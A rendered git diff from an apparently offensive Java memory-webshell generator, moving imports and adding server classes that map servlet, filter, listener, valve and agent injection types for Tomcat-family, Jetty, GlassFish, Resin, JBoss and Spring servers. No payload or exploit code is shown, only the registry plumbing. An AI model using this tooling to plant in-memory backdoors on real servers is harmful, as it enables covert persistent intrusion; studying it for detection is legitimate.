import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.packer.Packers;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+1
-1
@@ -1,8 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.jinjava;
|
package com.reajason.javaweb.memshell.packer.jinjava;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.packer.Packers;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+1
-1
@@ -1,8 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.jxpath;
|
package com.reajason.javaweb.memshell.packer.jxpath;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.packer.Packers;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.mvel;
|
package com.reajason.javaweb.memshell.packer.mvel;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.packer.Packers;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.ognl;
|
package com.reajason.javaweb.memshell.packer.ognl;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.packer.Packers;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.rhino;
|
package com.reajason.javaweb.memshell.packer.rhino;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.packer.Packers;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+1
-1
@@ -1,8 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.spel;
|
package com.reajason.javaweb.memshell.packer.spel;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.packer.Packers;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+1
-1
@@ -1,8 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.velocity;
|
package com.reajason.javaweb.memshell.packer.velocity;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.packer.Packers;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -0,0 +1,60 @@
|
|||||||
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
|
import java.util.Collections;
|
||||||
|
import java.util.LinkedHashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/7
|
||||||
|
*/
|
||||||
|
public abstract class AbstractShell {
|
||||||
|
|
||||||
|
private final Map<ShellTool, ToolMapping> map = new LinkedHashMap<>();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 定义注入器映射
|
||||||
|
*
|
||||||
|
* @return 注入器映射
|
||||||
|
*/
|
||||||
|
public abstract InjectorMapping getShellInjectorMapping();
|
||||||
|
|
||||||
|
public Class<?> getListenerInterceptor() {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void addToolMapping(ShellTool shellTool, ToolMapping mapping) {
|
||||||
|
map.put(shellTool, mapping);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 获取内存马功能所支持的注入类型列表
|
||||||
|
*
|
||||||
|
* @param shellTool 内存马功能
|
||||||
|
* @return shellTypes
|
||||||
|
*/
|
||||||
|
public Set<String> getSupportedShellTypes(ShellTool shellTool) {
|
||||||
|
ToolMapping toolMapping = map.get(shellTool);
|
||||||
|
if (toolMapping == null) {
|
||||||
|
return Collections.emptySet();
|
||||||
|
}
|
||||||
|
return Collections.unmodifiableSet(toolMapping.getSupportedShellTypes());
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<ShellTool> getSupportedShellTools(){
|
||||||
|
return Collections.unmodifiableSet(map.keySet());
|
||||||
|
}
|
||||||
|
|
||||||
|
public Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
|
||||||
|
ToolMapping mapping = map.get(shellTool);
|
||||||
|
if (mapping == null) {
|
||||||
|
throw new UnsupportedOperationException("please implement shell type: " + shellType + " for " + shellTool);
|
||||||
|
}
|
||||||
|
Map<String, Pair<Class<?>, Class<?>>> shellClassMap = mapping.getShellClassMap(getShellInjectorMapping());
|
||||||
|
return shellClassMap.get(shellType);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.apusic.ApusicListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.apusic.ApusicServletInjector;
|
||||||
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/27
|
||||||
|
*/
|
||||||
|
public class ApusicShell extends AbstractShell {
|
||||||
|
|
||||||
|
public static class ListenerInterceptor {
|
||||||
|
@Advice.OnMethodExit
|
||||||
|
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
||||||
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "parameters"), "response");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Class<?> getListenerInterceptor() {
|
||||||
|
return ListenerInterceptor.class;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
|
return InjectorMapping.builder()
|
||||||
|
.addInjector(SERVLET, ApusicServletInjector.class)
|
||||||
|
.addInjector(FILTER, ApusicFilterInjector.class)
|
||||||
|
.addInjector(LISTENER, ApusicListenerInjector.class).build();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.injector.bes.*;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/26
|
||||||
|
*/
|
||||||
|
public class BesShell extends AbstractShell {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Class<?> getListenerInterceptor() {
|
||||||
|
return TomcatShell.ListenerInterceptor.class;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
|
return InjectorMapping.builder()
|
||||||
|
.addInjector(FILTER, BesFilterInjector.class)
|
||||||
|
.addInjector(LISTENER, BesListenerInjector.class)
|
||||||
|
.addInjector(VALVE, BesValveInjector.class)
|
||||||
|
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
|
||||||
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,55 @@
|
|||||||
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/12
|
||||||
|
*/
|
||||||
|
public class GlassFishShell extends AbstractShell {
|
||||||
|
|
||||||
|
public static class ListenerInterceptor {
|
||||||
|
|
||||||
|
@Advice.OnMethodExit
|
||||||
|
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
||||||
|
try {
|
||||||
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response");
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
response = ShellCommonUtil.getFieldValue(request, "response");
|
||||||
|
} catch (Exception ee) {
|
||||||
|
// glassfish7
|
||||||
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "reqFacHelper"), "response");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Class<?> getListenerInterceptor() {
|
||||||
|
return ListenerInterceptor.class;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
|
return InjectorMapping.builder()
|
||||||
|
.addInjector(FILTER, GlassFishFilterInjector.class)
|
||||||
|
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
|
||||||
|
.addInjector(LISTENER, GlassFishListenerInjector.class)
|
||||||
|
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
|
||||||
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
|
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/24
|
||||||
|
*/
|
||||||
|
public class InforSuiteShell extends AbstractShell {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Class<?> getListenerInterceptor() {
|
||||||
|
return TomcatShell.ListenerInterceptor.class;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
|
return InjectorMapping.builder()
|
||||||
|
.addInjector(FILTER, InforSuiteFilterInjector.class)
|
||||||
|
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
|
||||||
|
.addInjector(LISTENER, GlassFishListenerInjector.class)
|
||||||
|
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
|
||||||
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
|
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import lombok.Builder;
|
||||||
|
import lombok.Singular;
|
||||||
|
|
||||||
|
import java.util.Collections;
|
||||||
|
import java.util.LinkedHashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/21
|
||||||
|
*/
|
||||||
|
@Builder
|
||||||
|
public class InjectorMapping {
|
||||||
|
|
||||||
|
@Singular("addInjector")
|
||||||
|
private final Map<String, Class<?>> injectorMap;
|
||||||
|
|
||||||
|
public InjectorMapping(Map<String, Class<?>> injectorMap) {
|
||||||
|
this.injectorMap = new LinkedHashMap<>(injectorMap);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Class<?> getInjector(String type) {
|
||||||
|
return injectorMap.get(type);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<String> getSupportedShellTypes() {
|
||||||
|
return Collections.unmodifiableSet(injectorMap.keySet());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.injector.jboss.JbossFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/10
|
||||||
|
*/
|
||||||
|
public class JbossShell extends AbstractShell {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Class<?> getListenerInterceptor() {
|
||||||
|
return TomcatShell.ListenerInterceptor.class;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
|
return InjectorMapping.builder()
|
||||||
|
.addInjector(FILTER, JbossFilterInjector.class)
|
||||||
|
.addInjector(LISTENER, JbossListenerInjector.class)
|
||||||
|
.addInjector(VALVE, JbossValveInjector.class)
|
||||||
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector;
|
||||||
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/7
|
||||||
|
*/
|
||||||
|
public class JettyShell extends AbstractShell {
|
||||||
|
|
||||||
|
public static class ListenerInterceptor {
|
||||||
|
|
||||||
|
@Advice.OnMethodExit
|
||||||
|
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
||||||
|
try {
|
||||||
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_channel"), "_response");
|
||||||
|
} catch (Exception e) {
|
||||||
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connection"), "_response");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Class<?> getListenerInterceptor() {
|
||||||
|
return ListenerInterceptor.class;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
|
return InjectorMapping.builder()
|
||||||
|
.addInjector(SERVLET, JettyServletInjector.class)
|
||||||
|
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
|
||||||
|
.addInjector(FILTER, JettyFilterInjector.class)
|
||||||
|
.addInjector(JAKARTA_FILTER, JettyFilterInjector.class)
|
||||||
|
.addInjector(LISTENER, JettyListenerInjector.class)
|
||||||
|
.addInjector(JAKARTA_LISTENER, JettyListenerInjector.class)
|
||||||
|
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.injector.resin.ResinFilterChainAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.resin.ResinFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.resin.ResinListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.resin.ResinServletInjector;
|
||||||
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/14
|
||||||
|
*/
|
||||||
|
public class ResinShell extends AbstractShell {
|
||||||
|
|
||||||
|
public static class ListenerInterceptor {
|
||||||
|
@Advice.OnMethodExit
|
||||||
|
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
||||||
|
response = ShellCommonUtil.getFieldValue(request, "_response");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Class<?> getListenerInterceptor() {
|
||||||
|
return ListenerInterceptor.class;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
|
return InjectorMapping.builder()
|
||||||
|
.addInjector(SERVLET, ResinServletInjector.class)
|
||||||
|
.addInjector(FILTER, ResinFilterInjector.class)
|
||||||
|
.addInjector(LISTENER, ResinListenerInjector.class)
|
||||||
|
.addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,54 @@
|
|||||||
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Server;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.generator.ValveGenerator;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/22
|
||||||
|
*/
|
||||||
|
public class ServerToolRegistry {
|
||||||
|
|
||||||
|
public static void addToolMapping(ShellTool shellTool, ToolMapping toolMapping) {
|
||||||
|
Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap();
|
||||||
|
for (Server value : Server.values()) {
|
||||||
|
AbstractShell shell = value.getShell();
|
||||||
|
InjectorMapping shellInjectorMapping = shell.getShellInjectorMapping();
|
||||||
|
Set<String> injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes();
|
||||||
|
ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder();
|
||||||
|
|
||||||
|
for (Map.Entry<String, Class<?>> entry : rawToolMapping.entrySet()) {
|
||||||
|
String shellType = entry.getKey();
|
||||||
|
if (!injectorSupportedShellTypes.contains(shellType)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Class<?> shellClass = entry.getValue();
|
||||||
|
|
||||||
|
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
||||||
|
shellClass = ListenerGenerator.generateListenerShellClass(shell.getListenerInterceptor(), shellClass);
|
||||||
|
}
|
||||||
|
boolean isValve = (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType));
|
||||||
|
if (isValve && shell instanceof TongWeb6Shell) {
|
||||||
|
shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB6_VALVE_PACKAGE, shellClass);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isValve && shell instanceof TongWeb7Shell) {
|
||||||
|
shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB7_VALVE_PACKAGE, shellClass);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isValve && shell instanceof BesShell) {
|
||||||
|
shellClass = ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, shellClass);
|
||||||
|
}
|
||||||
|
|
||||||
|
toolMappingBuilder.addShellClass(shellType, shellClass);
|
||||||
|
}
|
||||||
|
shell.addToolMapping(shellTool, toolMappingBuilder.build());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerFunctionInjector;
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerMethodInjector;
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxNettyHandlerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxWebFilterInjector;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/24
|
||||||
|
*/
|
||||||
|
public class SpringWebFluxShell extends AbstractShell {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
|
return InjectorMapping.builder()
|
||||||
|
.addInjector(SPRING_WEBFLUX_WEB_FILTER, SpringWebFluxWebFilterInjector.class)
|
||||||
|
.addInjector(SPRING_WEBFLUX_HANDLER_METHOD, SpringWebFluxHandlerMethodInjector.class)
|
||||||
|
.addInjector(SPRING_WEBFLUX_HANDLER_FUNCTION, SpringWebFluxHandlerFunctionInjector.class)
|
||||||
|
.addInjector(NETTY_HANDLER, SpringWebFluxNettyHandlerInjector.class)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
public class SpringWebMvcShell extends AbstractShell {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
|
return InjectorMapping.builder()
|
||||||
|
.addInjector(SPRING_WEBMVC_INTERCEPTOR, SpringWebMvcInterceptorInjector.class)
|
||||||
|
.addInjector(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, SpringWebMvcInterceptorInjector.class)
|
||||||
|
.addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
||||||
|
.addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
||||||
|
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
}
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user